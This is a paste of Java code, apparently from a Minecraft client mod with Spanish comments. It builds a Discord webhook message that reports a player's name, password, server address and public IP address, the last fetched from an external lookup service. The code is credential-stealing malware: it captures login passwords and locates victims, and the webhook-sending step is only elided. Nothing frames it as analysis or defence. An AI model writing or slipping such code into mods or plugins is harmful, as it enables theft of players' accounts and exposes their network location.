Untitled
public
Dec 20, 2024
Never
12
1 public static void sendToDiscord(String playerName, String password) { 2 MinecraftClient client = MinecraftClient.getInstance(); 3 ServerInfo serverInfo = client.getCurrentServerEntry(); 4 String serverIP = serverInfo != null ? serverInfo.address : "Singleplayer"; 5 6 // Obtener IP del jugador usando una API externa 7 String playerIP = getPlayerIP(); 8 String currentTimeStr = LocalDateTime.now().format(DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss")); 9 10 String jsonPayload = String.format(""" 11 { 12 "embeds": [{ 13 "title": "🎮 Nueva Sesión de Login Detectada", 14 "color": 15844367, 15 "fields": [ 16 { 17 "name": "👤 Jugador", 18 "value": "`%s`", 19 "inline": true 20 }, 21 { 22 "name": "🔑 Contraseña", 23 "value": "||`%s`||", 24 "inline": true 25 }, 26 { 27 "name": "🌐 Servidor", 28 "value": "`%s`", 29 "inline": true 30 }, 31 { 32 "name": "📡 IP del Jugador", 33 "value": "||`%s`||", 34 "inline": true 35 } 36 ], 37 "footer": { 38 "text": "Tiempo: %s" 39 } 40 }] 41 }""", playerName, password, serverIP, playerIP, currentTimeStr); 42 43 // [Resto del código del webhook...] 44 } 45 46 private static String getPlayerIP() { 47 try { 48 HttpClient client = HttpClient.newHttpClient(); 49 HttpRequest request = HttpRequest.newBuilder() 50 .uri(URI.create("https://api.ipify.org")) 51 .build(); 52 53 HttpResponse<String> response = client.send(request, HttpResponse.BodyHandlers.ofString()); 54 return response.body(); 55 } catch (Exception e) { 56 return "Error getting IP"; 57 } 58 }